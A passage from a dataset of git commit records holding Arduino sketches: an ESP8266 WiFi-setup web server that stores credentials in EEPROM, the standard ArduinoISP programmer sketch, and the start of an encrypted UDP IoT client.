}\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'files\/Arduino\/apr19_x90100_trim_cap\/apr19_usb_comm.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"81f7feecc5bdf6d615445e2990963a2286a8605b","subject":"copied esp apboot to self configure arduino","message":"copied esp apboot to self configure arduino\n","repos":"marvec\/arduino,marvec\/arduino","old_file":"esp-apboot\/esp-apboot.ino","new_file":"esp-apboot\/esp-apboot.ino","new_contents":"#include \"ESP8266WiFi.h\"\n#include <ESP8266mDNS.h>\n#include <WiFiClient.h>\n#include <EEPROM.h>\n\nMDNSResponder mdns;\nWiFiServer server(80);\n\nconst char* ssid = \"BUBBLES\";\nString st;\n\nvoid setup() {\n Serial.begin(115200);\n EEPROM.begin(512);\n delay(10);\n Serial.println();\n Serial.println();\n Serial.println(\"Startup\");\n \/\/ read eeprom for ssid and pass\n Serial.println(\"Reading EEPROM ssid\");\n String esid;\n for (int i = 0; i < 32; ++i)\n {\n esid += char(EEPROM.read(i));\n }\n Serial.print(\"SSID: \");\n Serial.println(esid);\n Serial.println(\"Reading EEPROM pass\");\n String epass = \"\";\n for (int i = 32; i < 96; ++i)\n {\n epass += char(EEPROM.read(i));\n }\n Serial.print(\"PASS: \");\n Serial.println(epass); \n if ( esid.length() > 1 ) {\n \/\/ test esid \n WiFi.begin(esid.c_str(), epass.c_str());\n if ( testWifi() == 20 ) { \n launchWeb(0);\n return;\n }\n }\n setupAP(); \n}\n\nint testWifi(void) {\n int c = 0;\n Serial.println(\"Waiting for Wifi to connect\"); \n while ( c < 20 ) {\n if (WiFi.status() == WL_CONNECTED) { return(20); } \n delay(500);\n Serial.print(WiFi.status()); \n c++;\n }\n Serial.println(\"Connect timed out, opening AP\");\n return(10);\n} \n\nvoid launchWeb(int webtype) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(WiFi.localIP());\n Serial.println(WiFi.softAPIP());\n if (!mdns.begin(\"esp8266\", WiFi.localIP())) {\n Serial.println(\"Error setting up MDNS responder!\");\n while(1) { \n delay(1000);\n }\n }\n Serial.println(\"mDNS responder started\");\n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\"); \n int b = 20;\n int c = 0;\n while(b == 20) { \n b = mdns1(webtype);\n }\n}\n\nvoid setupAP(void) {\n \n WiFi.mode(WIFI_STA);\n WiFi.disconnect();\n delay(100);\n int n = WiFi.scanNetworks();\n Serial.println(\"scan done\");\n if (n == 0)\n Serial.println(\"no networks found\");\n else\n {\n Serial.print(n);\n Serial.println(\" networks found\");\n for (int i = 0; i < n; ++i)\n {\n \/\/ Print SSID and RSSI for each network found\n Serial.print(i + 1);\n Serial.print(\": \");\n Serial.print(WiFi.SSID(i));\n Serial.print(\" (\");\n Serial.print(WiFi.RSSI(i));\n Serial.print(\")\");\n Serial.println((WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\");\n delay(10);\n }\n }\n Serial.println(\"\"); \n st = \"<ul>\";\n for (int i = 0; i < n; ++i)\n {\n \/\/ Print SSID and RSSI for each network found\n st += \"<li>\";\n st +=i + 1;\n st += \": \";\n st += WiFi.SSID(i);\n st += \" (\";\n st += WiFi.RSSI(i);\n st += \")\";\n st += (WiFi.encryptionType(i) == ENC_TYPE_NONE)?\" \":\"*\";\n st += \"<\/li>\";\n }\n st += \"<\/ul>\";\n delay(100);\n WiFi.softAP(ssid);\n Serial.println(\"softap\");\n Serial.println(\"\");\n launchWeb(1);\n Serial.println(\"over\");\n}\n\nint mdns1(int webtype)\n{\n \/\/ Check for any mDNS queries and send responses\n mdns.update();\n \n \/\/ Check if a client has connected\n WiFiClient client = server.available();\n if (!client) {\n return(20);\n }\n Serial.println(\"\");\n Serial.println(\"New client\");\n\n \/\/ Wait for data from client to become available\n while(client.connected() && !client.available()){\n delay(1);\n }\n \n \/\/ Read the first line of HTTP request\n String req = client.readStringUntil('\\r');\n \n \/\/ First line of HTTP request looks like \"GET \/path HTTP\/1.1\"\n \/\/ Retrieve the \"\/path\" part by finding the spaces\n int addr_start = req.indexOf(' ');\n int addr_end = req.indexOf(' ', addr_start + 1);\n if (addr_start == -1 || addr_end == -1) {\n Serial.print(\"Invalid request: \");\n Serial.println(req);\n return(20);\n }\n req = req.substring(addr_start + 1, addr_end);\n Serial.print(\"Request: \");\n Serial.println(req);\n client.flush(); \n String s;\n if ( webtype == 1 ) {\n if (req == \"\/\")\n {\n IPAddress ip = WiFi.softAPIP();\n String ipStr = String(ip[0]) + '.' + String(ip[1]) + '.' + String(ip[2]) + '.' + String(ip[3]);\n s = \"HTTP\/1.1 200 OK\\r\\nContent-Type: text\/html\\r\\n\\r\\n<!DOCTYPE HTML>\\r\\n<html>Hello from ESP8266 at \";\n s += ipStr;\n s += \"<p>\";\n s += st;\n s += \"<form method='get' action='a'><label>SSID: <\/label><input name='ssid' length=32><input name='pass' length=64><input type='submit'><\/form>\";\n s += \"<\/html>\\r\\n\\r\\n\";\n Serial.println(\"Sending 200\");\n }\n else if ( req.startsWith(\"\/a?ssid=\") ) {\n \/\/ \/a?ssid=blahhhh&pass=poooo\n Serial.println(\"clearing eeprom\");\n for (int i = 0; i < 96; ++i) { EEPROM.write(i, 0); }\n String qsid; \n qsid = req.substring(8,req.indexOf('&'));\n Serial.println(qsid);\n Serial.println(\"\");\n String qpass;\n qpass = req.substring(req.lastIndexOf('=')+1);\n Serial.println(qpass);\n Serial.println(\"\");\n \n Serial.println(\"writing eeprom ssid:\");\n for (int i = 0; i < qsid.length(); ++i)\n {\n EEPROM.write(i, qsid[i]);\n Serial.print(\"Wrote: \");\n Serial.println(qsid[i]); \n }\n Serial.println(\"writing eeprom pass:\"); \n for (int i = 0; i < qpass.length(); ++i)\n {\n EEPROM.write(32+i, qpass[i]);\n Serial.print(\"Wrote: \");\n Serial.println(qpass[i]); \n } \n EEPROM.commit();\n s = \"HTTP\/1.1 200 OK\\r\\nContent-Type: text\/html\\r\\n\\r\\n<!DOCTYPE HTML>\\r\\n<html>Hello from ESP8266 \";\n s += \"Found \";\n s += req;\n s += \"<p> saved to eeprom... reset to boot into new wifi<\/html>\\r\\n\\r\\n\";\n }\n else\n {\n s = \"HTTP\/1.1 404 Not Found\\r\\n\\r\\n\";\n Serial.println(\"Sending 404\");\n }\n } \n else\n {\n if (req == \"\/\")\n {\n s = \"HTTP\/1.1 200 OK\\r\\nContent-Type: text\/html\\r\\n\\r\\n<!DOCTYPE HTML>\\r\\n<html>Hello from ESP8266\";\n s += \"<p>\";\n s += \"<\/html>\\r\\n\\r\\n\";\n Serial.println(\"Sending 200\");\n }\n else if ( req.startsWith(\"\/cleareeprom\") ) {\n s = \"HTTP\/1.1 200 OK\\r\\nContent-Type: text\/html\\r\\n\\r\\n<!DOCTYPE HTML>\\r\\n<html>Hello from ESP8266\";\n s += \"<p>Clearing the EEPROM<p>\";\n s += \"<\/html>\\r\\n\\r\\n\";\n Serial.println(\"Sending 200\"); \n Serial.println(\"clearing eeprom\");\n for (int i = 0; i < 96; ++i) { EEPROM.write(i, 0); }\n EEPROM.commit();\n }\n else\n {\n s = \"HTTP\/1.1 404 Not Found\\r\\n\\r\\n\";\n Serial.println(\"Sending 404\");\n } \n }\n client.print(s);\n Serial.println(\"Done with client\");\n return(20);\n}\n\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp-apboot\/esp-apboot.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bf3a3cbfe222b98d9c53e95c3b6b22d39b34918e","subject":"Adding ArduinoISP example copied from the standard ArduinoISP sample and with the correct RESET pin for the mainboard set.","message":"Adding ArduinoISP example copied from the standard ArduinoISP sample and with the correct RESET pin for the mainboard set.\n","repos":"BlokasLabs\/BuildingBlocks,BlokasLabs\/BuildingBlocks","old_file":"arduino\/libraries\/BuildingBlocks\/examples\/ArduinoISP\/ArduinoISP.ino","new_file":"arduino\/libraries\/BuildingBlocks\/examples\/ArduinoISP\/ArduinoISP.ino","new_contents":"\/\/ This is the same standard ArduinoISP example, with only the RESET pin set to match the one used in the Mainboard module (4).\n\n\/\/ ArduinoISP\n\/\/ Copyright (c) 2008-2011 Randall Bohn\n\/\/ If you require a license, see\n\/\/ http:\/\/www.opensource.org\/licenses\/bsd-license.php\n\/\/\n\/\/ This sketch turns the Arduino into a AVRISP\n\/\/ using the following arduino pins:\n\/\/\n\/\/ Pin 10 is used to reset the target microcontroller.\n\/\/\n\/\/ By default, the hardware SPI pins MISO, MOSI and SCK pins are used\n\/\/ to communicate with the target. On all Arduinos, these pins can be found\n\/\/ on the ICSP\/SPI header:\n\/\/\n\/\/ MISO \u00b0. . 5V (!) Avoid this pin on Due, Zero...\n\/\/ SCK . . MOSI\n\/\/ . . GND\n\/\/\n\/\/ On some Arduinos (Uno,...), pins MOSI, MISO and SCK are the same pins\n\/\/ as digital pin 11, 12 and 13, respectively. That is why many tutorials\n\/\/ instruct you to hook up the target to these pins. If you find this wiring\n\/\/ more practical, have a define USE_OLD_STYLE_WIRING. This will work even\n\/\/ even when not using an Uno. (On an Uno this is not needed).\n\/\/\n\/\/ Alternatively you can use any other digital pin by configuring software ('BitBanged')\n\/\/ SPI and having appropriate defines for PIN_MOSI, PIN_MISO and PIN_SCK.\n\/\/ \n\/\/ IMPORTANT: When using an Arduino that is not 5V tolerant (Due, Zero, ...)\n\/\/ as the programmer, make sure to not expose any of the programmer's pins to 5V.\n\/\/ A simple way to accomplish this is to power the complete system (programmer\n\/\/ and target) at 3V3.\n\/\/\n\/\/ Put an LED (with resistor) on the following pins:\n\/\/ 9: Heartbeat - shows the programmer is running\n\/\/ 8: Error - Lights up if something goes wrong (use red if that makes sense)\n\/\/ 7: Programming - In communication with the slave\n\/\/\n\n#include \"Arduino.h\"\n#undef SERIAL\n\n\n#define PROG_FLICKER true\n\n\/\/ Configure SPI clock (in Hz).\n\/\/ E.g. for an attiny @128 kHz: the datasheet states that both the high\n\/\/ and low spi clock pulse must be > 2 cpu cycles, so take 3 cycles i.e.\n\/\/ divide target f_cpu by 6:\n\/\/ #define SPI_CLOCK (128000\/6)\n\/\/\n\/\/ A clock slow enough for an attiny85 @ 1MHz, is a reasonable default:\n\n#define SPI_CLOCK \t\t(1000000\/6)\n\n\n\/\/ Select hardware or software SPI, depending on SPI clock.\n\/\/ Currently only for AVR, for other archs (Due, Zero,...),\n\/\/ hardware SPI is probably too fast anyway.\n\n#if defined(ARDUINO_ARCH_AVR)\n\n#if SPI_CLOCK > (F_CPU \/ 128)\n#define USE_HARDWARE_SPI\n#endif\n\n#endif\n\n\/\/ Configure which pins to use:\n\n\/\/ The standard pin configuration.\n#ifndef ARDUINO_HOODLOADER2 \n\n#define RESET 4 \/\/ Use BuildingBlocks MainBoard specific pin for reseting the target.\n#define LED_HB 9\n#define LED_ERR 8\n#define LED_PMODE 7\n\n\/\/ Uncomment following line to use the old Uno style wiring\n\/\/ (using pin 11, 12 and 13 instead of the SPI header) on Leonardo, Due...\n\n\/\/ #define USE_OLD_STYLE_WIRING\n\n#ifdef USE_OLD_STYLE_WIRING\n\n#define PIN_MOSI\t11\n#define PIN_MISO\t12\n#define PIN_SCK\t\t13\n\n#endif\n\n\/\/ HOODLOADER2 means running sketches on the atmega16u2 \n\/\/ serial converter chips on Uno or Mega boards.\n\/\/ We must use pins that are broken out:\n#else \n\n#define RESET \t4\n#define LED_HB \t7\n#define LED_ERR \t6\n#define LED_PMODE \t5\n\n#endif\n\n\/\/ By default, use hardware SPI pins:\n#ifndef PIN_MOSI\n#define PIN_MOSI \tMOSI\n#endif\n\n#ifndef PIN_MISO\n#define PIN_MISO \tMISO\n#endif\n\n#ifndef PIN_SCK\n#define PIN_SCK \tSCK\n#endif\n\n\/\/ Force bitbanged SPI if not using the hardware SPI pins:\n#if (PIN_MISO != MISO) || (PIN_MOSI != MOSI) || (PIN_SCK != SCK)\n#undef USE_HARDWARE_SPI\n#endif\n\n\n\/\/ Configure the serial port to use.\n\/\/\n\/\/ Prefer the USB virtual serial port (aka. native USB port), if the Arduino has one:\n\/\/ - it does not autoreset (except for the magic baud rate of 1200).\n\/\/ - it is more reliable because of USB handshaking.\n\/\/\n\/\/ Leonardo and similar have an USB virtual serial port: 'Serial'.\n\/\/ Due and Zero have an USB virtual serial port: 'SerialUSB'.\n\/\/\n\/\/ On the Due and Zero, 'Serial' can be used too, provided you disable autoreset.\n\/\/ To use 'Serial': #define SERIAL Serial\n\n#ifdef SERIAL_PORT_USBVIRTUAL\n#define SERIAL SERIAL_PORT_USBVIRTUAL\n#else\n#define SERIAL Serial\n#endif\n\n\n\/\/ Configure the baud rate:\n\n#define BAUDRATE\t19200\n\/\/ #define BAUDRATE\t115200\n\/\/ #define BAUDRATE\t1000000\n\n\n#define HWVER 2\n#define SWMAJ 1\n#define SWMIN 18\n\n\/\/ STK Definitions\n#define STK_OK 0x10\n#define STK_FAILED 0x11\n#define STK_UNKNOWN 0x12\n#define STK_INSYNC 0x14\n#define STK_NOSYNC 0x15\n#define CRC_EOP 0x20 \/\/ok it is a space...\n\nvoid pulse(int pin, int times);\n\n#ifdef USE_HARDWARE_SPI\n#include \"SPI.h\"\n#else\n\n#define SPI_MODE0 0x00\n\nclass SPISettings {\npublic:\n \/\/ clock is in Hz\n SPISettings(uint32_t clock, uint8_t bitOrder, uint8_t dataMode) : clock(clock){\n (void) bitOrder;\n (void) dataMode;\n };\n\nprivate:\n uint32_t clock;\n\nfriend class BitBangedSPI;\n};\n\nclass BitBangedSPI {\npublic:\n void begin() {\n digitalWrite(PIN_SCK, LOW);\n digitalWrite(PIN_MOSI, LOW);\n pinMode(PIN_SCK, OUTPUT);\n pinMode(PIN_MOSI, OUTPUT);\n pinMode(PIN_MISO, INPUT);\n }\n\n void beginTransaction(SPISettings settings) {\n pulseWidth = (500000 + settings.clock - 1) \/ settings.clock;\n if (pulseWidth == 0)\n pulseWidth = 1;\n }\n\n void end() {}\n\n uint8_t transfer (uint8_t b) {\n for (unsigned int i = 0; i < 8; ++i) {\n digitalWrite(PIN_MOSI, (b & 0x80) ? HIGH : LOW);\n digitalWrite(PIN_SCK, HIGH);\n delayMicroseconds(pulseWidth);\n b = (b << 1) | digitalRead(PIN_MISO);\n digitalWrite(PIN_SCK, LOW); \/\/ slow pulse\n delayMicroseconds(pulseWidth);\n }\n return b;\n }\n\nprivate:\n unsigned long pulseWidth; \/\/ in microseconds\n};\n\nstatic BitBangedSPI SPI;\n\n#endif\n\nvoid setup() {\n SERIAL.begin(BAUDRATE);\n\n pinMode(LED_PMODE, OUTPUT);\n pulse(LED_PMODE, 2);\n pinMode(LED_ERR, OUTPUT);\n pulse(LED_ERR, 2);\n pinMode(LED_HB, OUTPUT);\n pulse(LED_HB, 2);\n\n}\n\nint error = 0;\nint pmode = 0;\n\/\/ address for reading and writing, set by 'U' command\nunsigned int here;\nuint8_t buff[256]; \/\/ global block storage\n\n#define beget16(addr) (*addr * 256 + *(addr+1) )\ntypedef struct param {\n uint8_t devicecode;\n uint8_t revision;\n uint8_t progtype;\n uint8_t parmode;\n uint8_t polling;\n uint8_t selftimed;\n uint8_t lockbytes;\n uint8_t fusebytes;\n uint8_t flashpoll;\n uint16_t eeprompoll;\n uint16_t pagesize;\n uint16_t eepromsize;\n uint32_t flashsize;\n}\nparameter;\n\nparameter param;\n\n\/\/ this provides a heartbeat on pin 9, so you can tell the software is running.\nuint8_t hbval = 128;\nint8_t hbdelta = 8;\nvoid heartbeat() {\n static unsigned long last_time = 0;\n unsigned long now = millis();\n if ((now - last_time) < 40)\n return;\n last_time = now;\n if (hbval > 192) hbdelta = -hbdelta;\n if (hbval < 32) hbdelta = -hbdelta;\n hbval += hbdelta;\n analogWrite(LED_HB, hbval);\n}\n\nstatic bool rst_active_high;\n\nvoid reset_target(bool reset) {\n digitalWrite(RESET, ((reset && rst_active_high) || (!reset && !rst_active_high)) ? HIGH : LOW);\n}\n\nvoid loop(void) {\n \/\/ is pmode active?\n if (pmode) {\n digitalWrite(LED_PMODE, HIGH);\n } else {\n digitalWrite(LED_PMODE, LOW);\n }\n \/\/ is there an error?\n if (error) {\n digitalWrite(LED_ERR, HIGH);\n } else {\n digitalWrite(LED_ERR, LOW);\n }\n\n \/\/ light the heartbeat LED\n heartbeat();\n if (SERIAL.available()) {\n avrisp();\n }\n}\n\nuint8_t getch() {\n while (!SERIAL.available());\n return SERIAL.read();\n}\nvoid fill(int n) {\n for (int x = 0; x < n; x++) {\n buff[x] = getch();\n }\n}\n\n#define PTIME 30\nvoid pulse(int pin, int times) {\n do {\n digitalWrite(pin, HIGH);\n delay(PTIME);\n digitalWrite(pin, LOW);\n delay(PTIME);\n } while (times--);\n}\n\nvoid prog_lamp(int state) {\n if (PROG_FLICKER) {\n digitalWrite(LED_PMODE, state);\n }\n}\n\nuint8_t spi_transaction(uint8_t a, uint8_t b, uint8_t c, uint8_t d) {\n SPI.transfer(a);\n SPI.transfer(b);\n SPI.transfer(c);\n return SPI.transfer(d);\n}\n\nvoid empty_reply() {\n if (CRC_EOP == getch()) {\n SERIAL.print((char)STK_INSYNC);\n SERIAL.print((char)STK_OK);\n } else {\n error++;\n SERIAL.print((char)STK_NOSYNC);\n }\n}\n\nvoid breply(uint8_t b) {\n if (CRC_EOP == getch()) {\n SERIAL.print((char)STK_INSYNC);\n SERIAL.print((char)b);\n SERIAL.print((char)STK_OK);\n } else {\n error++;\n SERIAL.print((char)STK_NOSYNC);\n }\n}\n\nvoid get_version(uint8_t c) {\n switch (c) {\n case 0x80:\n breply(HWVER);\n break;\n case 0x81:\n breply(SWMAJ);\n break;\n case 0x82:\n breply(SWMIN);\n break;\n case 0x93:\n breply('S'); \/\/ serial programmer\n break;\n default:\n breply(0);\n }\n}\n\nvoid set_parameters() {\n \/\/ call this after reading paramter packet into buff[]\n param.devicecode = buff[0];\n param.revision = buff[1];\n param.progtype = buff[2];\n param.parmode = buff[3];\n param.polling = buff[4];\n param.selftimed = buff[5];\n param.lockbytes = buff[6];\n param.fusebytes = buff[7];\n param.flashpoll = buff[8];\n \/\/ ignore buff[9] (= buff[8])\n \/\/ following are 16 bits (big endian)\n param.eeprompoll = beget16(&buff[10]);\n param.pagesize = beget16(&buff[12]);\n param.eepromsize = beget16(&buff[14]);\n\n \/\/ 32 bits flashsize (big endian)\n param.flashsize = buff[16] * 0x01000000\n + buff[17] * 0x00010000\n + buff[18] * 0x00000100\n + buff[19];\n\n \/\/ avr devices have active low reset, at89sx are active high\n rst_active_high = (param.devicecode >= 0xe0);\n}\n\nvoid start_pmode() {\n\n \/\/ Reset target before driving PIN_SCK or PIN_MOSI\n\n \/\/ SPI.begin() will configure SS as output,\n \/\/ so SPI master mode is selected.\n \/\/ We have defined RESET as pin 10,\n \/\/ which for many arduino's is not the SS pin.\n \/\/ So we have to configure RESET as output here,\n \/\/ (reset_target() first sets the correct level)\n reset_target(true);\n pinMode(RESET, OUTPUT);\n SPI.begin();\n SPI.beginTransaction(SPISettings(SPI_CLOCK, MSBFIRST, SPI_MODE0));\n\n \/\/ See avr datasheets, chapter \"SERIAL_PRG Programming Algorithm\":\n\n \/\/ Pulse RESET after PIN_SCK is low:\n digitalWrite(PIN_SCK, LOW);\n delay(20); \/\/ discharge PIN_SCK, value arbitrally chosen\n reset_target(false);\n \/\/ Pulse must be minimum 2 target CPU clock cycles\n \/\/ so 100 usec is ok for CPU speeds above 20KHz\n delayMicroseconds(100);\n reset_target(true);\n\n \/\/ Send the enable programming command:\n delay(50); \/\/ datasheet: must be > 20 msec\n spi_transaction(0xAC, 0x53, 0x00, 0x00);\n pmode = 1;\n}\n\nvoid end_pmode() {\n SPI.end();\n \/\/ We're about to take the target out of reset\n \/\/ so configure SPI pins as input\n pinMode(PIN_MOSI, INPUT);\n pinMode(PIN_SCK, INPUT);\n reset_target(false);\n pinMode(RESET, INPUT);\n pmode = 0;\n}\n\nvoid universal() {\n uint8_t ch;\n\n fill(4);\n ch = spi_transaction(buff[0], buff[1], buff[2], buff[3]);\n breply(ch);\n}\n\nvoid flash(uint8_t hilo, unsigned int addr, uint8_t data) {\n spi_transaction(0x40 + 8 * hilo,\n addr >> 8 & 0xFF,\n addr & 0xFF,\n data);\n}\nvoid commit(unsigned int addr) {\n if (PROG_FLICKER) {\n prog_lamp(LOW);\n }\n spi_transaction(0x4C, (addr >> 8) & 0xFF, addr & 0xFF, 0);\n if (PROG_FLICKER) {\n delay(PTIME);\n prog_lamp(HIGH);\n }\n}\n\nunsigned int current_page() {\n if (param.pagesize == 32) {\n return here & 0xFFFFFFF0;\n }\n if (param.pagesize == 64) {\n return here & 0xFFFFFFE0;\n }\n if (param.pagesize == 128) {\n return here & 0xFFFFFFC0;\n }\n if (param.pagesize == 256) {\n return here & 0xFFFFFF80;\n }\n return here;\n}\n\n\nvoid write_flash(int length) {\n fill(length);\n if (CRC_EOP == getch()) {\n SERIAL.print((char) STK_INSYNC);\n SERIAL.print((char) write_flash_pages(length));\n } else {\n error++;\n SERIAL.print((char) STK_NOSYNC);\n }\n}\n\nuint8_t write_flash_pages(int length) {\n int x = 0;\n unsigned int page = current_page();\n while (x < length) {\n if (page != current_page()) {\n commit(page);\n page = current_page();\n }\n flash(LOW, here, buff[x++]);\n flash(HIGH, here, buff[x++]);\n here++;\n }\n\n commit(page);\n\n return STK_OK;\n}\n\n#define EECHUNK (32)\nuint8_t write_eeprom(unsigned int length) {\n \/\/ here is a word address, get the byte address\n unsigned int start = here * 2;\n unsigned int remaining = length;\n if (length > param.eepromsize) {\n error++;\n return STK_FAILED;\n }\n while (remaining > EECHUNK) {\n write_eeprom_chunk(start, EECHUNK);\n start += EECHUNK;\n remaining -= EECHUNK;\n }\n write_eeprom_chunk(start, remaining);\n return STK_OK;\n}\n\/\/ write (length) bytes, (start) is a byte address\nuint8_t write_eeprom_chunk(unsigned int start, unsigned int length) {\n \/\/ this writes byte-by-byte,\n \/\/ page writing may be faster (4 bytes at a time)\n fill(length);\n prog_lamp(LOW);\n for (unsigned int x = 0; x < length; x++) {\n unsigned int addr = start + x;\n spi_transaction(0xC0, (addr >> 8) & 0xFF, addr & 0xFF, buff[x]);\n delay(45);\n }\n prog_lamp(HIGH);\n return STK_OK;\n}\n\nvoid program_page() {\n char result = (char) STK_FAILED;\n unsigned int length = 256 * getch();\n length += getch();\n char memtype = getch();\n \/\/ flash memory @here, (length) bytes\n if (memtype == 'F') {\n write_flash(length);\n return;\n }\n if (memtype == 'E') {\n result = (char)write_eeprom(length);\n if (CRC_EOP == getch()) {\n SERIAL.print((char) STK_INSYNC);\n SERIAL.print(result);\n } else {\n error++;\n SERIAL.print((char) STK_NOSYNC);\n }\n return;\n }\n SERIAL.print((char)STK_FAILED);\n return;\n}\n\nuint8_t flash_read(uint8_t hilo, unsigned int addr) {\n return spi_transaction(0x20 + hilo * 8,\n (addr >> 8) & 0xFF,\n addr & 0xFF,\n 0);\n}\n\nchar flash_read_page(int length) {\n for (int x = 0; x < length; x += 2) {\n uint8_t low = flash_read(LOW, here);\n SERIAL.print((char) low);\n uint8_t high = flash_read(HIGH, here);\n SERIAL.print((char) high);\n here++;\n }\n return STK_OK;\n}\n\nchar eeprom_read_page(int length) {\n \/\/ here again we have a word address\n int start = here * 2;\n for (int x = 0; x < length; x++) {\n int addr = start + x;\n uint8_t ee = spi_transaction(0xA0, (addr >> 8) & 0xFF, addr & 0xFF, 0xFF);\n SERIAL.print((char) ee);\n }\n return STK_OK;\n}\n\nvoid read_page() {\n char result = (char)STK_FAILED;\n int length = 256 * getch();\n length += getch();\n char memtype = getch();\n if (CRC_EOP != getch()) {\n error++;\n SERIAL.print((char) STK_NOSYNC);\n return;\n }\n SERIAL.print((char) STK_INSYNC);\n if (memtype == 'F') result = flash_read_page(length);\n if (memtype == 'E') result = eeprom_read_page(length);\n SERIAL.print(result);\n}\n\nvoid read_signature() {\n if (CRC_EOP != getch()) {\n error++;\n SERIAL.print((char) STK_NOSYNC);\n return;\n }\n SERIAL.print((char) STK_INSYNC);\n uint8_t high = spi_transaction(0x30, 0x00, 0x00, 0x00);\n SERIAL.print((char) high);\n uint8_t middle = spi_transaction(0x30, 0x00, 0x01, 0x00);\n SERIAL.print((char) middle);\n uint8_t low = spi_transaction(0x30, 0x00, 0x02, 0x00);\n SERIAL.print((char) low);\n SERIAL.print((char) STK_OK);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid avrisp() {\n uint8_t ch = getch();\n switch (ch) {\n case '0': \/\/ signon\n error = 0;\n empty_reply();\n break;\n case '1':\n if (getch() == CRC_EOP) {\n SERIAL.print((char) STK_INSYNC);\n SERIAL.print(\"AVR ISP\");\n SERIAL.print((char) STK_OK);\n }\n else {\n error++;\n SERIAL.print((char) STK_NOSYNC);\n }\n break;\n case 'A':\n get_version(getch());\n break;\n case 'B':\n fill(20);\n set_parameters();\n empty_reply();\n break;\n case 'E': \/\/ extended parameters - ignore for now\n fill(5);\n empty_reply();\n break;\n case 'P':\n if (!pmode)\n start_pmode();\n empty_reply();\n break;\n case 'U': \/\/ set address (word)\n here = getch();\n here += 256 * getch();\n empty_reply();\n break;\n\n case 0x60: \/\/STK_PROG_FLASH\n getch(); \/\/ low addr\n getch(); \/\/ high addr\n empty_reply();\n break;\n case 0x61: \/\/STK_PROG_DATA\n getch(); \/\/ data\n empty_reply();\n break;\n\n case 0x64: \/\/STK_PROG_PAGE\n program_page();\n break;\n\n case 0x74: \/\/STK_READ_PAGE 't'\n read_page();\n break;\n\n case 'V': \/\/0x56\n universal();\n break;\n case 'Q': \/\/0x51\n error = 0;\n end_pmode();\n empty_reply();\n break;\n\n case 0x75: \/\/STK_READ_SIGN 'u'\n read_signature();\n break;\n\n \/\/ expecting a command, not CRC_EOP\n \/\/ this is how we can get back in sync\n case CRC_EOP:\n error++;\n SERIAL.print((char) STK_NOSYNC);\n break;\n\n \/\/ anything else we will return STK_UNKNOWN\n default:\n error++;\n if (CRC_EOP == getch())\n SERIAL.print((char)STK_UNKNOWN);\n else\n SERIAL.print((char)STK_NOSYNC);\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/libraries\/BuildingBlocks\/examples\/ArduinoISP\/ArduinoISP.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"141428176606951bac32d2742eb26c39bc2b76c9","subject":"example arduino device client using UDP with encryption","message":"example arduino device client using UDP with encryption\n","repos":"panjanek\/IotCenter,panjanek\/IotCenter,panjanek\/IotCenter,panjanek\/IotCenter,panjanek\/IotCenter","old_file":"src\/arduino_iot_cli\/arduino_iot_cli.ino","new_file":"src\/arduino_iot_cli\/arduino_iot_cli.ino","new_contents":"#include <Crypto.h>\n#include <AES.h>\n#include <CBC.h>\n#include <SHA256.h>\n#include <string.h>\n#include <EEPROM.h>\n#include <SPI.h> \n#include <Ethernet.h>\n#include <EthernetUdp.h> \n#include <VirtualWire.h> \n\nconst byte receive_pin = 4;\n\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress myIp(192, 168, 1, 150);\nIPAddress serverIp(192, 168, 1, 134);\nbyte deviceId[] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};\nbyte key[] = {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};\n\nEthernetUDP Udp;\nCBC<AES256> cbcaes256;\nSHA256 sha256;\nchar packet[192];\nbyte iv[16];\nbyte padded[48];\nlong counter = 0;\nchar tmp1[10] = {0,0,0,0,0,0,0,0,0,0};\nlong tmp1c = 0;\nchar tmp2[10] = {0,0,0,0,0,0,0,0,0,0};\nlong tmp2c = 0;\nlong c = 0;\n\nvoid setup() {\n \/\/ init radio\n vw_set_rx_pin(receive_pin);\n vw_set_ptt_inverted(true); \/\/ Required for DR3100\n vw_setup(2000); \/\/ Bits per sec\n vw_rx_start(); \/\/ Start the receiver PLL running \n \n\n \/\/init ethernet\n Ethernet.begin(mac, myIp);\n Udp.begin(2345);\n \n Serial.begin(9600);\n \n \/\/uncomment to reset EEPROM counter\n \/\/EEPROM.write(0, 0); EEPROM.write(1, 0); EEPROM.write(2, 0); EEPROM.write(3, 0);\n counter = (long)EEPROM.read(0) + (((long)EEPROM.read(1)) << 8) + (((long)EEPROM.read(2)) << 16) + (((long)EEPROM.read(3)) << 24) + 1;\n}\n\nvoid loop() {\n c++;\n radioReceive(); \n if (c%1000 == 0 && (tmp1[0] != 0 || tmp2[0] != 0)) { \n if (tmp1[0] !=0 && tmp2[0] == 0)\n {\n sprintf((char*)padded, \"{\\\"values\\\":{\\\"t1\\\":%s}}\", tmp1);\n } \n else if (tmp1[0] ==0 && tmp2[0] != 0)\n {\n sprintf((char*)padded, 